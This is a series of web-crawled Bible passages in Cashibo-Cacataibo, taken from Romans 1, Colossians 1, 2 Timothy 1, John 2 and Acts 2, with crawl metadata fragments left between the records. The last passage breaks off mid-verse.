14 Raëcë 'imainun raëcëma unicama, 'imainun an quirica 'unáncë 'imainun an quirica 'unáncëma unicama, a unicamanbi Jesucristo ñui quicë bana 'unánun cana an cacësabi oquin 'ën aín bana ñuixunin. 15 Usa 'aish cana 'ëx, Roma ëmanu 'icë mitsuribi anun Jesucristomi catamëti Nucën Papa Diosnan 'iti bana ñuixuinsa tanin.\nUisai cara Jesucristomi catamëti 'icë quicë bana 'icë quixun Pablonën ñuia\n16 'Ëx cana ënë bana unicama ñuixuni rabiniman. Axa a bana quicësabi oi Jesucristomi catamëcë uni a ca Nucën Papa Diosan aín cushínbi ainan 'inun ië́mia. Judíos unicama pain ñuixuntancëxun cana judíosma unicamaribi a bana ñuixunin. 17 A bana 'unáncë 'ixúinshi cananuna 'unanin, uisaira oquin cara Nucën Papa Diosan ainan 'inun nu ië́mia quixun. Nun 'ucha tërë́nun Jesucristomi catamëtiashi ca ainan 'inun nu ië́mia. Usai ami catamëcë cupíshi cananuna Nucën Papa Diosnan 'iti 'ain. Usai ca 'iti 'icë quiax ca aín bana cuënëo ësai quia: \"Ui unicama cara Nucën Papa Diosan upí isia, ax ca asérabi ami catamëti tsóti 'icën\".\nUnicaman Nucën Papa Dios 'unánma bana\n18 Cananuna 'unanin, Nucën Papa Diosan ca an aín bana quicësabi oquin 'aisama tancë 'ixun bëtsi uniribi ami sinánxma 'inun quixun paráncë unicama, a uisa cara oti 'icë usoquin castícanti 'icë quixun. 19 Usa unicamax ca an unio ñucama isquinshi uisaira cara Nucën Papa Dios 'icë quixun 'unántisa 'aíshbi ami sinanima. 20 Isquinmabi ca unin Nucën Papa Dios 'unánti 'icën, an unio ñucama isquin. Usa 'ain ca an camabi ñu unio cupí, unin Nucën Papa Dios, ax ca asérabi Dios 'icë quixun 'unánan ax ca nëtë́timoi usabi cushiira 'icë quixun 'unántisa 'aíshbi ami sináncëma 'icën. Usa 'aish ca, 'unáncëma 'aish cana ami sináncëma 'ain, a unicamax quitima 'icën. 21 A unicaman, ui cara Nucën Papa Dios 'icë quixun 'unánquinbi ca a sinánquin, —mix camina Nucën Papa Dios 'ai —quixun caiman. Nucën Papa Diosan ñu 'axuncëxunbi ca a unicaman —camina nu ñu 'axuan, ca asábi 'icë —quixun rabiquin cacëma 'icën. Caquinma atun sináncësa oquinshi 'acë ñuishi 'acë 'ixun ca 'atima ñuishi 'ai sinánñuma unisa 'icanxa. 22 —'Ëx cana sinánñu 'ai —quicë 'aíshbi ca sinánñumasa 'icën. 23 Usa 'ixun ca Nucën Papa Dios, ax cushiira 'aish bamatimoi tsócë, a rabiquinma ami manúanan axa bamati 'aínbi uni iscësa oquin ñu unionan ñuina pëchiñu 'imainun axa men nirícë ñuina, axa men nicë ñuina, acama iscësa oquin —ax ca nun dios 'icë —quiquin a rabinuxun unioia.\n24 Usa 'ain ca Nucën Papa Diosan atúxa upí 'iti 'aquinti ëanan a unicaman aín cuëëncësabi oquin ñu 'atima 'anun ëanxa. Usaquian Nucën Papa Diosan ëncëxun ca atúnbi a 'ai rabínquinma 'atima ñuira 'axa. 25 Usa ñu 'aquin ca Nucën Papa Diosan bana cuaquinma, unin cëmëquin ñuicë banaishi sinánxa. Nucën Papa Dios, an camabi ñu unio, a rabiquinma ca an unio ñuishi rabiaxa. Nucën Papa Dios ax ca xënibua 'aínbi aira unin rabicë 'iti 'icën.\n26 Atúxa usa 'icë ca Nucën Papa Diosan atúan cuëëncësabi oi 'iquian ñu 'atima 'anun ëanxa. Xanúxribi ca bënëñu 'iisama tani bëbúxmabi bëtsi xanubë 'ia. 27 Usaribiti ca nucë bënë uníxribi xanuñu 'iisama tani, xanúxmabi bëtsi unibë ñunshini 'ia. Usai 'iquin ca uni itsi rabínmia. Usai 'i ca asérabi nucë bënë unin 'acësa oquin sinaníma axbi 'uchai Nucën Papa Diosmi sinántisama tania.\n28 Usa unicama ca ami sinántisama tania Nucën Papa Diosan aín sinan upíma 'ixun 'atima ñuira 'anun quixun ëanxa. 29 Usa 'ixun ca uisa ñucamax cara 'atima 'icë acama 'aia, bëtsi uni 'atimonan, ainanmabi uni itsin ñu biisa tanan, aín xanuma 'aínbi xanubë 'ianan, xanúxmabi bëtsi unibë 'ianan, bëtsi uni 'icësamaira oi ñuñu 'iisa tania. 'Ianan ca uni 'aisa tanan, bëtsibë cuëbicanánan, uni itsi paránan, uni itsimi 'atimati banaia. Usa 'aish ca a unicamax 'aisamairai banai uni itsimi manania. 30 Usai 'i ca uni itsi ñui cëmëanan ami sinanima Nucën Papa Diosmi manutia. Usai 'iquin uni itsi —'aisama ca —quixun ñuianan ca abi rabiacati cërúanan raíri unimi nëtëtima 'ësë́nanan aín tita aín papan bana cuaisama tania. 31 Usa 'aish ca sinánñuma 'ianan, aín quicësabi oquin ñu 'acëma 'ianan uni itsi nuibacëma 'ianan abë nishananxbi uni itsibë mëníonainsama tanan 'aquinsa 'icëbi uni 'aquinima. 32 Atun ca 'unania, Nucën Papa Diosan mëníosabi oi ca usa unicama ainanma 'aish xënibua 'aínbi abë 'itima 'icë quixun. Usaía Nucën Papa Dios quia a 'unánxunbi ca usa ñu 'aia. Atúinshi 'aíma ca uni itsínribia usaribi oquin 'aia isti cuëënia.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/cbrNT\/ROM01.htm","date":"2021-12-02T18:25:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00564.warc.gz","language":"cbr","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 1.0000051259994507}","num_words":1006,"character_repetition_ratio":0.108,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.372,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"PABLONËAN COLOSASNU 'ICË UNICAMA BUÁNMIA QUIRICA\n1\nPablonëan Colosasnuax Jesucristomi catamëcë unicama quirica cuënëoxuan\n1 'Ëx cana Pablo, Nucën Papa Dios cuëëncësabi oquin aín bana uni ñuixunun Jesucristonën caísa 'ain. Usa 'ixun cana axribi Jesucristomi sináncë 'aísha nucën xucë́nsa 'ain, Timoteobëtan mitsu quirica buánmin. 2 Colosas ëmanuaxmi Cristomi sinani ami catamëti Nucën Papa Diosnan 'icë, cana ënë quirica mitsu buánmin. Nucën Papa Diosan mitsu nuibaquin upí oquin sinánxuncëxmi chuámarua bucucanti cana cuëënin.\nI. CRISTONËXA CUSHIIRA 'AISH UPIIRA 'AIN CA ASARIBI AÑU ÑUBI 'AIMA 'ICË QUICË BANA (1.3-2.23)\nAxa Jesucristomi catamëcë unicama Pablonën Nucën Papa Dios ñucáxuan\n3 Mitsu ñucáxuni abë banaquin cananuna nun 'acësabi oquin, Nucën 'Ibu Jesucristonën Papa, ax Nucën Papa Dios 'icë, a —asábi ca —quixun cain. 4 Usa 'ixun cananuna Jesucristomi asérabi catamëtími Nucën Papa Diosan unicamabë nuibanania ñuicania cuan. 5 Nucën Papa Diosan mëníosabi oi aín nëtënu abë 'iti sinani camina usai 'icanin. Jesucristomi catamëti aín 'uchacama tërë́ncë 'aish ca uni ainan 'aish xënibua 'aínbi Nucën Papa Diosbë 'iti 'icë quixuan aín unin mitsu ñuixuncëxun camina a bana cuaquin upí oquin 'unáncan. 6 Nucën Papa Diosan ca usaquin nu nuibatia quixun unin ñuia mitsun cuacë a banabi ca bëtsi bëtsi menu cuanquin 'itsaira unin ñuia. Usa 'ain ca unin ñuia cuatishimi mitsux 'icësaribiti camabi menu 'icë uni a bana cuati —asérabi ca —quixun sinani Jesucristomi catamëtia. 7 A bana ca nun nuibacë Epafrasnën, axribi nubëtan uni bana ñuixuncë 'ixun nux cuancëbëtanmabi ñuixunquin upí oquin mitsu 'unánmiaxa. 8 An ca Cristonan 'aish camina mitsux bëtsibë bëtsibë nuibanani upitax bucui quixun nu caxa.\n9 Epafrasnëan mitsu ñuiquin nu cacë bana cuaxun cananuna ënquinma Nucën Papa Dios mitsu ñucáxunin. Uisaími 'iti cara Nucën Papa Dios cuëënia, a mitsu 'unánminun ñucáxuanan cananuna an aín unicama 'unánmiti ñucama mitsu 'unánminun a ñucatin. 10 Mitsux usai 'i camina Nucën 'Ibu Jesucristonan 'aísha uni 'icësai 'iti 'ain. Usa 'aish camina ax cuëëncësabi oquinshi 'aquin, uisa ñu cara upí 'icë ashi 'anan, asérabi mitsun nuitu mëu upí oquin Nucën Papa Dios 'unánti 'ain. 11 'Anan cananuna ax cushiira 'ixúan, uisa ñu cara 'icëbëbi bënëtima cuëënquin tanshinuan mitsu 'aquinun quixun a mitsu ñucáxunin. 12 Usoquin cananuna uisaira oquin cara aín unicama cuëënmiti 'icë quixun 'unánquinmi mitsun a —asábi ca —canun, Nucën Papa Dios mitsu ñucáxunin.\n13 Ñu 'atima 'atishi sinánan nux cuëëncësabi oíshi 'iisa taniabi ca Nucën Papa Diosan aín nuibacë Bacë Bëchicënan 'inun nu 'imiaxa. 14 Nun 'uchacama cupínu abë 'itima 'icëbi ca aín Bëchicë bamacë cupí Nucën Papa Diosan nun 'ucha tërë́nquin ainan 'inun nu ië́miacëxa.\nCristo bama cupía uni Nucën Papa Diosbë upí 'iti\n15 Uinu 'icë unínbia Nucën Papa Dios istima 'aínbi ca unían uisa cara Nucën Papa Dios 'icë quixun 'unánun asaribi 'aish aín Bëchicë ënë menu uacëxa. Añu ñubi unitisama 'ain ca axira pain aín Papabë 'iacëxa. 16 Nucën Papa Diosan uniomicëxun ca aín Bëchicënën naínu 'icë ñucama 'imainun menu 'icë ñucamaribi 'anan bëtsi bëtsi ñu unin aín bërúnbi iscë 'imainun unin iscëma ñucamaribi uniocëxa. Usonan ca ángelcama 'imainun uisa cushi cara, acamaribi uniocëxa, ainan 'aish ax cuëëncësabi oi 'inun. 17 Ñucama uniocëma pan 'aish ca axira pain 'iacëxa. 'Ixun ca uniotancëxun, usabia 'inun camabi ñu mëníocëxa. 18 Cristo axira ca axa ami catamëcë unicaman cushi 'aish amiira aín unicama catamëcë 'icën. Ësa ca Cristobë aín unicama 'icën. Mëcë́nñu, taëñu, xoñu, nuituñuribi 'aíshbi ca uni achúshi 'icën. Usaribiti cananuna Jesucristonan 'aish 'aisamaira 'aíshbi abë achúshisa 'ain. Aín unicamaxa usaribiti 'iti oi axira pain bamatancëx baísquia 'aish ca an unio ñucamabë sënë́nmaira 'icën. 19 Nucën Papa Dios cuëëncësabi oi ca Jesucristo ax asaribi cushiira 'ianan upíira sinánñu 'iacëxa, uni 'aíshbi. 20 Aín nuitu 'aisama 'aísha uni abë up'i 'itima 'aínbi ca Nucën Papa Dios cuëëncësabi oquin Cristonën i curúsocënu bamaquin ënë menu 'icë ñucama 'imainun naínu 'icë ñucamaribi an iscë́xa upí 'inun mëníocëxa.\n21-22 Mitsun Nucën Papa Diosmi sináncëma 'ixun ñu 'aisamaishi 'acë 'aish camina abë upíma 'aish ami nishcësa 'iacën. Usai 'iá 'icëbi ca Cristo uni 'aish bama cupími abë upí 'inun Nucën Papa Diosan mitsu 'imiaxa. Mitsúxmi upíira sinánñu 'ianan 'uchañuma 'aish Nucën Papa Diosnanshi 'inun ca Cristo bamacëxa. 23 Usa 'inuxun camina camabi nëtën Cristomishi catamëcë 'ixun sinánbëquinquinma ainan 'aíshmi aín nëtënu abë 'iti ashi manuquinma sinánti 'ain. Usai 'i ca uni asérabi Nucën Papa Diosnan 'icë quixunmi cuacë bana ca camabi menuxunribi ñuicania. 'Ënribi cana unicama a bana ñuixunin.\nNucën Papa Diosan Pablo axa Jesucristomi catamëcë unicama aín bana ñuixunun 'imia\n24 Mitsux ainan 'inun 'ëx tëmëracë cupí cana cuëënin. Usai 'i cana Cristonëan camabi uni ainan 'inun tëmëra 'ain, 'ëxribi camabi menu 'icë unicama a 'unánti cupí tëmëraíbi cuëëinra cuëënin. 25 Aín unicamabëtanmi mitsúnribi upí oquin aín banacama cuanun a bana ñuixunun ca Nucën Papa Diosan 'ë 'imiacëxa. 26 Uínsaran nëtë́nbi uinu 'icë unínbi a bana 'unánma 'icëbi ca bërí aín unicama, an iscë́xa upí 'icë, Nucën Papa Diosan 'unánmia. 27 Uisaira upí cara a bana 'icë quixun ca Nucën Papa Diosan aín unicama 'unánmisa tancëxa. A banax ca judíosma unicamananribi 'icën. A banax ca ësai quia, Cristo ax ca mitsubë 'icën. Axa mitsubë 'ain camina aín nëtënuribi abë 'iti 'ain.\n28 Nun cananuna Cristo ashi ñuiquin aín unicama ñuixunin. Ñuixunquin cananuna aín unicaman upí oquin cuanan, Cristonan 'aish ax cuëëncësabi oíshi 'inun quixun upí oquin 'ësëquin, aín unicama 'unánmin. 29 Usaía aín unicama 'inun quixun cana Cristonën 'ë cushiocëxun ënquinma aín bana ñuixunin.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/cbrNT\/COL01.htm","date":"2021-12-02T18:16:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00612.warc.gz","language":"cbr","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 1.0000054836273193}","num_words":849,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.342,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"PABLONËAN ARIBI TIMOTEO BUÁNMITËCËAN QUIRICA\n1\nPablonëan Timoteo quirica cuënëoxuan\n1 'Ëx cana Pablo, aín bana ñuixunuan Jesucristonën caísa 'ain, Nucën Papa Dios cuëëncësabi oquin. —Jesucristomi catamëtíshi ca uni Nucën Papa Diosnan 'iti 'icë —quixun unicama canun ca Jesucristonën 'ë 'imiacëxa. 2 Timoteo, 'ën bëchicësa 'icë nuibaquin cana ënë quirica mi buánmin. Nucën Papa Dios 'imainun Nucën 'Ibu Jesucristo, an nu ainan 'inun ië́micë, an nuibaquin min 'uchacama tërë́ncë cupími ainan 'aish chuámashirua 'iti cana cuëënin.\nCristo ñuiquin uni cati bana\n3 Nucën raracaman 'asaribi oquin 'ënribi asérabi a 'inamëcë 'ixun rabicë, Nucën Papa Dios, a cana imë́bi nëtë́nbi abë banaquin mi ñucáxunquin —asábi ca —quixun cain. 4 Mixmi bëunan mëscúcë aribi manucëma 'ixun cana chuámarua tani cuëëinra cuëënuxun mi istëcëinsa tanin. 5 'Imainun cana mixmi asérabi Jesucristomi sinania 'ën mi iscë a manuiman. Min chichi, Loida, 'imainun min tita, Eunice, axa 'icësaribiti camina mix asérabi Jesucristomi sináncë 'ai quixun cana 'unanin.\n6 Usa 'ain cana manúaxmami 'inun mi cain, 'ën mëcën minu nancëbëtan ca Nucën Papa Diosan aín bana ñuixunun aín cushi mi 'ináncëxa. A cushia minuax nëtë́nunma camina bënamëbutibia tsi rëquirutëcëncësa 'inuxun, ami catamëquin aín bana ñuixunti 'ain. 7 Ainan 'aíshnu racuë́ 'inun ca Nucën Papa Diosan nu 'imiama 'icën. An ca nu ainan 'imiacëxa, aín cushiñu 'ixúnu nuibaquin unicama 'aquianan upí oquin sinánquin ñu 'anun.\n8 Mix ainan 'aish camina —'ëx cana Nucën 'Ibu Jesucristonan 'ai —quixun uni catimi rabíntima 'ain. 'Imainun camina Jesucristonën bana uni ñuixunia 'ë sipuacancë cupí rabíntima 'ain. Usai 'iquinma camina miribia uni Nucën Papa Diosan bana ñuixuncë cupí, unin tëmëramicëxunbi rabínquinma tanshiti 'ain, Nucën Papa Diosan ax cuëëncësabi oquin mi cushiomainun. 9 Nucën Papa Diosan ca nu ië́miquin ainan 'imiacëxa, nuxnu ax cuëëncësabi oíshi upí 'inun. Nun ñu upí 'acë cupíma, axbi nuxnu ainan 'iti cuëënquinshi, ca nu nuibaquin Jesucristo cupí nu ainan 'imiacëxa. Camabi ñu uniocëma pain 'ixun ca Nucën Papa Diosan nuibaquin, Cristo Jesusan nu ië́minun mëníocëxa. 10 Mënío 'ixun ca camabi unían —an ca nu nuibatia —quixun 'unánuan nu ië́miti Jesucristo xuacëxa. Xuá 'aish ca axa ami catamëcë unicamaxa ax utëcëncëbë usaribiti 'iti oi bamatancëxbi baísquiacëxa. Usa 'ain cananuna 'unanin, ainan 'aish ca uni aín nëtënu cëñútimoi abë 'iti 'icë quixun.\n11 Usaía Jesucristo ñui quicë banacama camabi judíosma unicama ñuixuanan aín bana quicësabi oía 'inun 'unánminun ca Nucën Papa Diosan 'ë 'imiacëxa. 12 An 'imicëxun usoquin 'acë cupía bëtsi bëtsi ocancëxbi cana rabiniman. Ami catamëquin cana 'unanin, ax cushiira 'ixun ca Nucën Papa Diosan, 'ëx a 'inamëcë 'icë bërúanquin aín bana bëtsi oquin ñuiquinma upí oquinshi unicama 'unánminun 'ë 'aquinti 'icën. 'Aquianan ca anúan ax utëcënti nëtën uquin an 'ën 'acë ñucama upí isti 'icën.\n13 'Ën mi ñuixuncë banacama quicësabi oquin camina manuquinma 'ati 'ain. 'Anan camina ainan 'icëa Cristo Jesusan mibë 'ixun cushiocëx ami catamëti camabi uni nuibacë 'iti 'ain. 14 Aín Bëru Ñunshin Upí an nubë 'ixun nu sinánmicë, an 'aquincëxun camina Nucën Papa Dios cuëëncësabi oíshi 'ianan Jesucristo ñuicë banaishi ñuixunti 'ain.\n15 Camina 'unan, Asia menuax ucë unicamabëtan ca Figelo 'imainun Hermógenes, axribi anuax ucë 'ixun, anribi 'ë ëbianxa. 16-17 Usa 'aínbi ca Onesíforonën 'ëx masá nuitucasíabi 'ë 'ësëquin 'ë cuëënmiaxa. Romanu ax bërí ucë 'ixun mëracatsi bënë́quin bariquinbi 'acasmapantancëxun 'ë mërax ca 'ëx sipunu 'aínbi rabinima 'itsai 'ë isi uaxa. Usa 'ain cana Nucën 'Ibu Diosan Onesíforonën xubunu 'icëcama nuibaquin 'aquinti cuëënin. 18 'Imainun camina 'unanin, Efeso ëmanuxunribi ca Onesíforonën ñu nu 'itsa oquin 'axuanxa. Usa 'aían Nucën 'Ibu Jesucristo utëcëncëbëtan Nucën 'Ibu Diosan a upí isti cana cuëënin.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/cbrNT\/2TI01.htm","date":"2021-12-02T18:45:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00619.warc.gz","language":"cbr","language_score":1.0000046492,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"cbr_Latn_score\": 1.0000046491622925}","num_words":559,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.309,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nUnin xanu biti nëtë́a Jesús Canánu 'iá\n1 Rabë́ nëtë 'iónxa pëcaracëbëtan ca Galilea nëtënu 'icë ëma, Caná cacë, anuxun uni achúshinën aín bëchicë xanu bimiti 'ain, aín aintsi 'ibucama pi unun quixun aín uni camiacëxa. Anu ca Jesusan titaribi 'iacëxa. 2 Usa 'ain ca Jesúsribi aín 'unánmicë unicamabë aribia camicëx cuanx anu 'iacëxa. 3 Anu 'ixun ca unicaman cëñucë́xa vino 'aíma 'ain aín titan Jesús cacëxa:\n—Vino ca 'aíma 'icën, ca cëñúaxa.\n4 Cacëxun ca Jesusan cacëxa:\n—¿Uisati caramina 'ë usaquin cain? Anun 'ën ñu 'ati nëtë ca 'icëma pain 'icën.\n5 Cacëxun ca aín titan an piti 'ináncë unicama cacëxa:\n—'Ën tuacëan mitsu cacësabi oquin ca 'at.\n6 Anu ca 'iacëxa mëcën achúshi 'imainun achúshi maxax 'acë ñutë, anu anúan judíos unicama mëchucati 'unpax nanti. A ñutëcama sapi ca veinte 'ianan treinta galones 'unpax anu 'aruti 'iacëxa. 7 Usa 'ain ca Jesusan an piti 'ináncë unicama cacëxa:\n—Ñutënu ca 'unpax buácat.\nCacëxun ca usoquin 'acëxa. 8 Usaquian 'aia ca cacëxa:\n—Buácabianquin ca fiesta 'ibunu buántan.\nCacëxun ca Jesusan cacësabi oquin buáncëxa. 9 Buáncëa fiesta 'ibun, Jesusan 'unpax 'icëbi vino ocë, a tanquin, uinua bëcë cara quixun 'unaniamabi ca an ñutënu buácabianquin buáncë unicama ainshi 'unáncëxa. Usa 'ain ca fiesta 'ibun an xanu biti uni cuënxun cacëxa: 10 —An fiesta 'acë unin ca vino upí pain 'inántancëxun a cëñuia vino asábitanishi uni 'inania. Usa 'aínbi camina min bërí 'atimatani pain 'inántancëxun vino upí 'inanin.\n11 Usoquin ca Jesusan Galilea menu 'icë ëma, Caná, anuxun aín sinanëinshi 'atabaquin uni itsin 'acëma ñu 'acëxa, uni itsin cushisamaira ca aín cushi 'icë quixuan unicaman 'unánun. Usaquian ñu 'aia isi ca aín 'unánmicë unicama ami catamëacëxa.\n12 Usaquin 'atancëx ca aín tita 'imainun aín xucë́antu 'imainun aín 'unánmicë unicamabë Jesús Capernaúm ëmanu cuancëxa. Cuanx bëbatancëx ca 'itsama nëtë́inshi anu 'iacëxa.\nAn ñu marucë unicama Jesusan chiquían\n(Mt 21.12-13; Mr 11.15-18; Lc 19.45-46)\n13 Pascua anúan judíos unicaman carnero 'ati nëtëa 'urama 'ain ca Jesús Jerusalénu cuancëxa. 14 Cuanx bëbax anuxun Nucën Papa Dios rabiti xubunu atsínquinbi ca an ñu marucë unicaman vaca bënë 'imainun carnero 'imainun ñumacuru acama maruia isacëxa. Isanan ca anuxuan curíqui cambioquin bicë, anua unicamaribi tsócë isacëxa. 15 Acama isquin ca anun rishquiti itsi mëníoquin, anua 'icë carnero 'imainun vaca bënë 'imainun an marucë unicamaribi chiquíancëxa. Chiquíanan ca an curíqui cambioquin bicë unin curíqui rëúquin, anua curíqui nancë ñucama chashcacëxa. 16 Usonan ca an ñumacuru marucë unicamaribi cacëxa:\n—Ënua ca mitsun ñucama buántan. Anuxun 'ën Papa rabiti xubu camina anuxun ñu maruti xubusa 'inun ësaquin 'atima 'ain.\n17 Usaquian Jesusan caia cuaquin ca aín 'unánmicë unicaman Nucën Papa Diosan bana cuënëo ësai quicë a sináncëxa: \"'Ëx anun rabanan bamaquinbi cana anuxun mi rabiti xubu upí oquin bërúanti 'ain\". Usaquin sinánquin ca —a banaxa quicësabi oquin ca 'aia —quixun sináncëxa.\n18 Usaquin 'aia isquin ca judíos unicaman Jesús cacëxa:\n—¿Minmi ësoquin 'acë ax ca asábi 'icë quixúnu nun 'unánun caramina añu ñu nun isnun 'ati 'ain?\n19 Cacëxun ca Jesusan cacëxa:\n—Mitsúnmi tëncapatiabi cana ënë xubu 'ën rabë́ 'imainun achúshi nëtë́inshi 'atëcënti 'ain.\n20 Cacëxun ca judíos unicaman cacëxa:\n—Cuarenta y seis baritian ca nucën chaitiocëcaman ënë xubu 'acëxa. Usa 'aínbi ¿caramina min rabë́ 'imainun achúshi nëtë́inshi 'atëcënti 'ain?\n21 Ësaquian atun cacë 'aínbi ca Jesús quicë bana ax, axbi ñuiacati quicë 'iacëxa. 22 Usa 'ain ca aín 'unánmicë unicaman bamaxa Jesús baísquitëcëan usaquian judíos unicama cacë a bana sináncëxa. Sinánan ca —Nucën Papa Diosan bana cuënëo ca cëmëma 'icë —quixun sinánan —Jesusan nu cacë bana axribi ca cëmëma 'icë —quixun sináncëxa.\nUnicaman sináncë ñucama Jesusan 'unan quicë bana\n23 Pascua anun carnero 'ati nëtën Jerusalénu 'ixuan Jesusan uni itsin 'acëma ñu 'aia isi ca 'aisamaira uni —an ca asérabi Nucën Papa Diosan cushin ñu 'aia —quixun sináncëxa. 24 Usaía 'icëbëtanbi ca camabi unían aín nuitu mëu sináncë a 'unáncë íxun, Jesusan —asérabi ca 'ëmi sinanima —quixun 'unáncëxa. 25 An ca unían cacëxunmabi camabi unin sinan 'unáncëxa.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/JHN02.htm","date":"2022-01-28T19:25:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320306335.77\/warc\/CC-MAIN-20220128182552-20220128212552-00149.warc.gz","language":"cbr","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000090599060059}","num_words":618,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.278,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nNucën Papa Diosan Bëru Ñunshin Upí aín unicamanu uá\n1 Usa 'ain ca Pentecostés cacë nëtë ucëbë Jerusalénu 'icë achúshi xubunu timë́ax axa Jesucristomi catamëcë unicama bucüacëxa. 2 Anu bucuxun ca suñúan upí 'icësai banacuatsinia naínuax aia cuacëxa. Cuacëxbi ca anua bucucë xubu namë́ camabi tsitsiarati sharati banacëxa. 3 Usai 'ishi ca tsi ërë́nrucësa 'aish rëquiabati anu 'icë unicaman maxcánu cëñúruacëxa. 4 Usacëbëshi ca Nucën Papa Diosmi cushii aín Bëru Ñumshin Upitan 'imicëx anu 'icë unicamax bëtsi bëtsi banan banacëxa.\n5 Usa 'ain ca axa Nucën Papa Dios cuëëncësabi oi 'iisa tancë judíos unicama, ax bëtsi bëtsi menuax Judea menu uax Jerusalénu tsoócëxa. 6 A unicamax ca xubunu bucüaxa bëtsi bëtsi banan axa Jesucristomi catamëcë unicama banaia cuabiani a xubunu timë́nux riquiancëxa. Riquiani bëbai timëcamë'ëoquin a xubunu 'icë unicamaxa banaia, atun banasabi camaxunbi cuati ca ratuti sináncasmacëxa. 7 Sináncasmai ca atun bëmánan pëqui ratuti canancëxa:\n—¿Galilea menuaxa ucë unishima cara axa xubunu timë́ax banacë unicama ënëx 'ic? 8 ¿Usa 'icëbi caranuna bëtsi bëtsi nëtënuax uá 'ixunbi atun bana nun banasabi 'icë cuatin? ¿Uisa 'aish cara usa 'iti 'ic? 9 Nux cananuna Partia, Media, Elam, Mesopotamia, Judea, Capadocia, Pontus, Asia, a mecamanuax ucë 'ain. 10 'Imainun cananuna Frigia, Panfilia, Egipto, 'imainun Africa menu 'icë ëma raíri Cirene 'ucëa 'icë anuax ucë 'ain, 'imainun cananuna Roma ëmanu 'icë judíos unicama 'imainun raírinëx judíosma uni 'ixunbia an usai judíos uni 'iti Moisésnën cuënëo bana quicësabi oquin 'acë 'ain. 11 'Imainun cananuna Creta cacë nasínu 'icë 'imainun Arabia cacë menu 'icë unicama 'ain. Usa 'ixunbi cananuna ënë unicaman, uisaira oquin cara Nucën Papa Diosan ñu 'aia quixuan ñuia nun banan quicësai quia cuatin.\n12 Usai 'icëbë ca camáxbi ratuti sináncasmai canancëxa:\n—¿Uisa 'aish cara usa 'iti 'ic?\n13 Usaia quicëbëbi ca raírinëx ami cuai —ñu bata xëaxbi sapi ca paë́ncanxa —quiax canancëxa.\nTimëcamë'ëocë unicama Pedronën ca\n14 Canancëbë ca Pedro abë 'icë mëcën rabë́ 'imainun achúshi unibë nirui munuma banaquin cacëxa:\n—Judíos unibu 'imainun Jerusalénu 'icë unicama, mitsúnmi 'unánun ca 'ën mitsu camainun cuat. 15 Mitsun sináncëxa ënë unicamax paë́ncë 'aínbi ca bari xamárucëma pain 'ain asérabi paë́ncëma 'icën, 16 An Nucën Papa Dios quicë bana uni ñuixuncë uni, Joel cacë, an cuënëo bana quicësabi oi ca ësai 'ia. A banax ca ësai quia:\n17 Nucën 'Ibu Diosan ca caia: Mecama cëñúcëma pain 'ain cana unicamanu 'ën Bëru Ñumshin Upí atubë 'inun xuti 'ain. Xucëxun ca Israel unicama, xanu 'imainun bëbu, anbi 'ëx quia bana uni ñuixunuxun 'aia. 'Imainun ca bënábu unicamanribi 'ën ismicëxun ñu isnuxun 'aia. Caniacëcë unicamanribi ca 'ën 'amicëxun namánuxun 'aia. 18 Usaribi oquin cana an 'ën bana cuacë bëbu 'imainun xanu, abëa 'inun 'ën Bëru Ñumshin upí 'inánuxun 'ain. 'Ináncëxun ca 'ë ñuiquin uni ñuixunuxun 'aia. 19-20 'Ën 'imicëx mecama cëñúti nëtë 'icëma pan 'ain cana a isia ratúti ñu naínua unicama ismiti 'ain. Usonan cana menuaribi unin sináncëma ñu, imi 'imainun tsi 'imainun tsin cuin, acamaribi isminuxun 'ain. 'Imainun ca bari bëánquinuxun 'aia. Bari bëánquimainun ca 'uxë imisa 'inuxun 'aia. 21 Usai 'icëbë ca uinu 'icë unicaman cara aín 'Ibu Dios 'ë ñucatia, acamax ca 'ënan 'inux ië́cë 'inuxun 'aia.\nUsai ca Joelnën cuënëo bana quia.\n22 Usaquin canan ca Pedronën ësaquinribi cacëxa:\n—Israel unicama, 'ën mitsu camainun ca cuat: Jesús Nazaretnu 'icë, an ca Nucën Papa Diosan 'amicëxun mitsúnmi ismainunbi, ax ca Nucën Papa Diosnuax uá 'icë quixuan unicaman 'unánun, uni itsían 'acëma ñuira 'axa. An 'acë ñucama camina mitsun 'unan. 23 Usoquian ñu 'acëbi camina mitsun unían 'ináncëxun bixun 'aisama uni rabë́cëñun i curúsocënu matásmitancëxun bamamian. Usai ca 'iti 'icë quixuan, ënë nëtë unitisama pain 'ain Nucën Papa Diosan mëníosabi oi ca 'iaxa. 24 Usoquian unin 'acëbi ca Jesús a Nucën Papa 